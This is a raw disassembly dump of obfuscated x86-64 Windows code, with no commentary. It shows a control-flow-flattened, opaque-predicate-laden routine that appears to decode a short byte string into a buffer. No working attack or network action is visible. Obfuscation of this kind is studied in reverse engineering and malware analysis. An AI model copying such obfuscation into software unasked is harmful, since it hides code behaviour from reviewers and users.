sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x1400414d8
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 2
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
mov r15b, 0xf4
sub r15b, al
add al, 0xb
xor r15b, al
and r15b, r8b
xor r15b, al
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rdx + 1]
imul r14d, edx
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete dl
cmp esi, 0xa
setl r12b
xor r12b, dl
mov r12d, 0x155c28c4
cmovne r12d, r11d
cmp r14d, 0xffffffff
mov edx, r12d
cmove edx, r11d
cmp esi, 0xa
cmovge edx, r12d
cmp eax, 0x155c28c3
jg 0x140041542
cmp eax, 0xbdd48bda
je 0x1400414aa
cmp eax, 0xd2316897
je 0x14004158d
cmp eax, 0xd33d59a2
jne 0x140041520
jmp 0x1400415b2
cmp eax, 0x155c28c4
je 0x140041586
cmp eax, 0x67a35c15
je 0x140041594
cmp eax, 0x1d3fd1c7
jne 0x140041520
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
mov r14d, 0x155c28c4
cmovne r14d, ebx
test al, al
mov eax, r14d
cmovne eax, ebx
test sil, sil
cmove eax, r14d
jmp 0x140041520
mov eax, 0x67a35c15
jmp 0x140041520
mov eax, 0xbdd48bda
jmp 0x140041520
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140041520
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 2], al
movzx r8d, byte [r13 + 3]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea esi, [rax - 1]
imul esi, eax
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041638
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 3
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
mov al, 0xf4
sub al, r15b
add r15b, 0xb
and al, 0x68
and r15b, 0x97
or r15b, al
xor r15b, r8b
xor r15b, 0x68
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete sil
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl r14b
xor r14b, sil
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x14004168b
cmp eax, 0xbdd48bda
je 0x140041601
cmp eax, 0xd2316897
je 0x1400416d6
cmp eax, 0xd33d59a2
jne 0x14004166d
jmp 0x1400416fb
cmp eax, 0x155c28c4
je 0x1400416cf
cmp eax, 0x67a35c15
je 0x1400416dd
cmp eax, 0x1d3fd1c7
jne 0x14004166d
movzx esi, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov r14d, esi
xor r14b, al
mov r14d, 0x155c28c4
cmovne r14d, ebx
test al, al
mov eax, r14d
cmovne eax, ebx
test sil, sil
cmove eax, r14d
jmp 0x14004166d
mov eax, 0x67a35c15
jmp 0x14004166d
mov eax, 0xbdd48bda
jmp 0x14004166d
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x14004166d
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 3], al
movzx r8d, byte [r13 + 4]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041777
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 4
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov esi, dword [0x1402b5e6c]
lea r14d, [rdx + 1]
imul r14d, edx
mov edx, r14d
xor edx, 0xfffffffe
test edx, r14d
sete r12b
cmp esi, 0xa
setl r10b
xor r10b, r12b
mov r10d, 0x155c28c4
cmovne r10d, r11d
test edx, r14d
mov edx, r10d
cmove edx, r11d
cmp esi, 0xa
cmovge edx, r10d
cmp eax, 0x155c28c3
jg 0x1400417df
cmp eax, 0xbdd48bda
je 0x140041749
cmp eax, 0xd2316897
je 0x140041828
cmp eax, 0xd33d59a2
jne 0x1400417bd
jmp 0x14004184d
cmp eax, 0x155c28c4
je 0x140041821
cmp eax, 0x67a35c15
je 0x14004182f
cmp eax, 0x1d3fd1c7
jne 0x1400417bd
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x1400417bd
mov eax, 0x67a35c15
jmp 0x1400417bd
mov eax, 0xbdd48bda
jmp 0x1400417bd
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x1400417bd
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 4], al
movzx r8d, byte [r13 + 5]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x1400418c4
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 5
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x14004191d
cmp eax, 0xbdd48bda
je 0x14004189f
cmp eax, 0xd2316897
je 0x140041965
cmp eax, 0xd33d59a2
jne 0x1400418ff
jmp 0x14004198a
cmp eax, 0x155c28c4
je 0x14004195e
cmp eax, 0x67a35c15
je 0x14004196c
cmp eax, 0x1d3fd1c7
jne 0x1400418ff
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x1400418ff
mov eax, 0x67a35c15
jmp 0x1400418ff
mov eax, 0xbdd48bda
jmp 0x1400418ff
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x1400418ff
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov r8, rsp
mov byte [r9 + 5], al
movzx ecx, byte [r13 + 6]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041a15
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 6
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
mov al, 0xf4
sub al, r15b
add r15b, 0xb
and al, 0x3a
and r15b, 0xc5
or r15b, al
xor r15b, cl
xor r15b, 0x3a
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140041a6e
cmp eax, 0xbdd48bda
je 0x1400419de
cmp eax, 0xd2316897
je 0x140041ab6
cmp eax, 0xd33d59a2
jne 0x140041a50
jmp 0x140041adb
cmp eax, 0x155c28c4
je 0x140041aaf
cmp eax, 0x67a35c15
je 0x140041abd
cmp eax, 0x1d3fd1c7
jne 0x140041a50
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x140041a50
mov eax, 0x67a35c15
jmp 0x140041a50
mov eax, 0xbdd48bda
jmp 0x140041a50
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140041a50
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, r8
mov rcx, rsp
mov byte [r9 + 6], al
movzx r8d, byte [r13 + 7]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041b5b
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 7
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
mov edx, r10d
xor edx, 0xfffffffe
test edx, r10d
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140041bb2
cmp eax, 0xbdd48bda
je 0x140041b2d
cmp eax, 0xd2316897
je 0x140041bfa
cmp eax, 0xd33d59a2
jne 0x140041b94
jmp 0x140041c1f
cmp eax, 0x155c28c4
je 0x140041bf3
cmp eax, 0x67a35c15
je 0x140041c01
cmp eax, 0x1d3fd1c7
jne 0x140041b94
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x140041b94
mov eax, 0x67a35c15
jmp 0x140041b94
mov eax, 0xbdd48bda
jmp 0x140041b94
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140041b94
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 7], al
movzx r8d, byte [r13 + 8]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140041c98
mov edx, dword [0x1402b5e68]
lea r10d, [rdx - 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140041cf1
cmp eax, 0xbdd48bda
je 0x140041c73
cmp eax, 0x155c28c4
je 0x140041d33
mov qword [rbp + 0xd8], rsp
mov rcx, rsp
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x198], rax
mov r9, qword [rbp + 0x198]
movzx r8d, byte [r13]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r15d, [rax - 1]
imul r15d, eax
not r15d
or r15d, 0xfffffffe
cmp r15d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x14004340f
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 0
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax]
add al, 0xb
mov r15d, r8d
xor r15b, r8b
not r15b
and r15b, al
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov r14d, dword [0x1402b5e6c]
lea r12d, [rdx + 1]
imul r12d, edx
mov edx, r12d
xor edx, 0xfffffffe
test edx, r12d
sete r10b
cmp r14d, 0xa
setl sil
xor sil, r10b
mov r10d, 0x155c28c4
cmovne r10d, r11d
test edx, r12d
mov edx, r10d
cmove edx, r11d
cmp r14d, 0xa
cmovge edx, r10d
cmp eax, 0x155c28c3
jg 0x14004347d
cmp eax, 0xbdd48bda
je 0x1400433e1
cmp eax, 0xd2316897
je 0x1400434c6
cmp eax, 0xd33d59a2
jne 0x140043458
jmp 0x14004352e
cmp eax, 0x155c28c4
je 0x1400434bf
cmp eax, 0x67a35c15
je 0x1400434cd
cmp eax, 0x1d3fd1c7
jne 0x140043458
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x140043458
mov eax, 0x67a35c15
jmp 0x140043458
mov eax, 0xbdd48bda
jmp 0x140043458
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140043458
mov eax, dword [0x1402b5e78]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x1ce5320b
mov r8d, 0x4d130ca6
cmove eax, r8d
cmp dword [0x1402b5e7c], 0xa
mov edx, 0x1ce5320b
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, r8d
jmp 0x1400411af
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9], al
movzx r8d, byte [r13 + 1]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax - 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x1400435a6
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 1
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete r14b
cmp r10d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0x155c28c4
cmovne r14d, r11d
test edx, esi
mov edx, r14d
cmove edx, r11d
cmp r10d, 0xa
cmovge edx, r14d
cmp eax, 0x155c28c3
jg 0x140043608
cmp eax, 0xbdd48bda
je 0x140043581
cmp eax, 0xd2316897
je 0x140043650
cmp eax, 0xd33d59a2
jne 0x1400435ea
jmp 0x140043675
cmp eax, 0x155c28c4
je 0x140043649
cmp eax, 0x67a35c15
je 0x140043657
cmp eax, 0x1d3fd1c7
jne 0x1400435ea
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x1400435ea
mov eax, 0x67a35c15
jmp 0x1400435ea
mov eax, 0xbdd48bda
jmp 0x1400435ea
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x1400435ea
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 1], al
movzx r8d, byte [r13 + 2]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x1400436ec
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 2
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
mov edx, r10d
xor edx, 0xfffffffe
test edx, r10d
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140043743
cmp eax, 0xbdd48bda
je 0x1400436c7
cmp eax, 0xd2316897
je 0x14004378b
cmp eax, 0xd33d59a2
jne 0x140043725
jmp 0x1400437b0
cmp eax, 0x155c28c4
je 0x140043784
cmp eax, 0x67a35c15
je 0x140043792
cmp eax, 0x1d3fd1c7
jne 0x140043725
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x140043725
mov eax, 0x67a35c15
jmp 0x140043725
mov eax, 0xbdd48bda
jmp 0x140043725
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140043725
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 2], al
movzx r8d, byte [r13 + 3]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043829
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 3
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete r14b
cmp r10d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0x155c28c4
cmovne r14d, r11d
test edx, esi
mov edx, r14d
cmove edx, r11d
cmp r10d, 0xa
cmovge edx, r14d
cmp eax, 0x155c28c3
jg 0x14004388b
cmp eax, 0xbdd48bda
je 0x140043804
cmp eax, 0xd2316897
je 0x1400438d3
cmp eax, 0xd33d59a2
jne 0x14004386d
jmp 0x1400438f8
cmp eax, 0x155c28c4
je 0x1400438cc
cmp eax, 0x67a35c15
je 0x1400438da
cmp eax, 0x1d3fd1c7
jne 0x14004386d
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x14004386d
mov eax, 0x67a35c15
jmp 0x14004386d
mov eax, 0xbdd48bda
jmp 0x14004386d
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x14004386d
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 3], al
movzx r8d, byte [r13 + 4]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043971
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 4
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx - 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x1400439ca
cmp eax, 0xbdd48bda
je 0x14004394c
cmp eax, 0xd2316897
je 0x140043a12
cmp eax, 0xd33d59a2
jne 0x1400439ac
jmp 0x140043a37
cmp eax, 0x155c28c4
je 0x140043a0b
cmp eax, 0x67a35c15
je 0x140043a19
cmp eax, 0x1d3fd1c7
jne 0x1400439ac
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, eax
xor sil, r10b
test al, al
mov eax, 0x155c28c4
cmovne eax, ebx
test r10b, r10b
cmove eax, edi
test sil, sil
cmovne eax, ebx
jmp 0x1400439ac
mov eax, 0x67a35c15
jmp 0x1400439ac
mov eax, 0xbdd48bda
jmp 0x1400439ac
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x1400439ac
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 4], al
movzx r8d, byte [r13 + 5]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax - 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043ab0
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 5
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140043b09
cmp eax, 0xbdd48bda
je 0x140043a8b
cmp eax, 0xd2316897
je 0x140043b51
cmp eax, 0xd33d59a2
jne 0x140043aeb
jmp 0x140043b76
cmp eax, 0x155c28c4
je 0x140043b4a
cmp eax, 0x67a35c15
je 0x140043b58
cmp eax, 0x1d3fd1c7
jne 0x140043aeb
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x140043aeb
mov eax, 0x67a35c15
jmp 0x140043aeb
mov eax, 0xbdd48bda
jmp 0x140043aeb
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140043aeb
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 5], al
movzx r8d, byte [r13 + 6]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043bed
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 6
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
lea r10d, [rdx + 1]
imul r10d, edx
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov edx, 0x155c28c4
cmove edx, r11d
cmp dword [0x1402b5e6c], 0xa
cmovge edx, edi
setl sil
xor sil, r10b
cmovne edx, r11d
cmp eax, 0x155c28c3
jg 0x140043c46
cmp eax, 0xbdd48bda
je 0x140043bc8
cmp eax, 0xd2316897
je 0x140043c8e
cmp eax, 0xd33d59a2
jne 0x140043c28
jmp 0x140043cb3
cmp eax, 0x155c28c4
je 0x140043c87
cmp eax, 0x67a35c15
je 0x140043c95
cmp eax, 0x1d3fd1c7
jne 0x140043c28
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x140043c28
mov eax, 0x67a35c15
jmp 0x140043c28
mov eax, 0xbdd48bda
jmp 0x140043c28
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140043c28
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 6], al
movzx r8d, byte [r13 + 7]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043d2a
mov rax, qword [rbp + 0x1a0]
mov qword [rax], 7
mov rax, qword [rbp + 0x1a0]
movzx r15d, byte [rax]
add r15b, 0xb
xor r15b, r8b
mov eax, 0xd33d59a2
mov edx, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete r14b
cmp r10d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0x155c28c4
cmovne r14d, r11d
test edx, esi
mov edx, r14d
cmove edx, r11d
cmp r10d, 0xa
cmovge edx, r14d
cmp eax, 0x155c28c3
jg 0x140043d8c
cmp eax, 0xbdd48bda
je 0x140043d05
cmp eax, 0xd2316897
je 0x140043dd4
cmp eax, 0xd33d59a2
jne 0x140043d6e
jmp 0x140043df9
cmp eax, 0x155c28c4
je 0x140043dcd
cmp eax, 0x67a35c15
je 0x140043ddb
cmp eax, 0x1d3fd1c7
jne 0x140043d6e
movzx r10d, byte [rbp + 0x128]
movzx eax, byte [rbp + 0x190]
mov esi, r10d
xor sil, al
mov esi, 0x155c28c4
cmovne esi, ebx
test al, al
mov eax, esi
cmovne eax, ebx
test r10b, r10b
cmove eax, esi
jmp 0x140043d6e
mov eax, 0x67a35c15
jmp 0x140043d6e
mov eax, 0xbdd48bda
jmp 0x140043d6e
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1a0], rax
mov eax, edx
jmp 0x140043d6e
mov byte [rbp + 0x1c0], r15b
movzx eax, byte [rbp + 0x1c0]
mov rsp, rcx
mov rcx, rsp
mov byte [r9 + 7], al
movzx r8d, byte [r13 + 8]
mov eax, dword [0x1402b5e68]
mov edx, dword [0x1402b5e6c]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete byte [rbp + 0x128]
cmp edx, 0xa
setl byte [rbp + 0x190]
mov eax, 0x1d3fd1c7
jmp 0x140043e70
mov edx, dword [0x1402b5e68]
mov r10d, dword [0x1402b5e6c]
lea esi, [rdx + 1]
imul esi, edx
mov edx, esi
xor edx, 0xfffffffe
test edx, esi
sete r14b
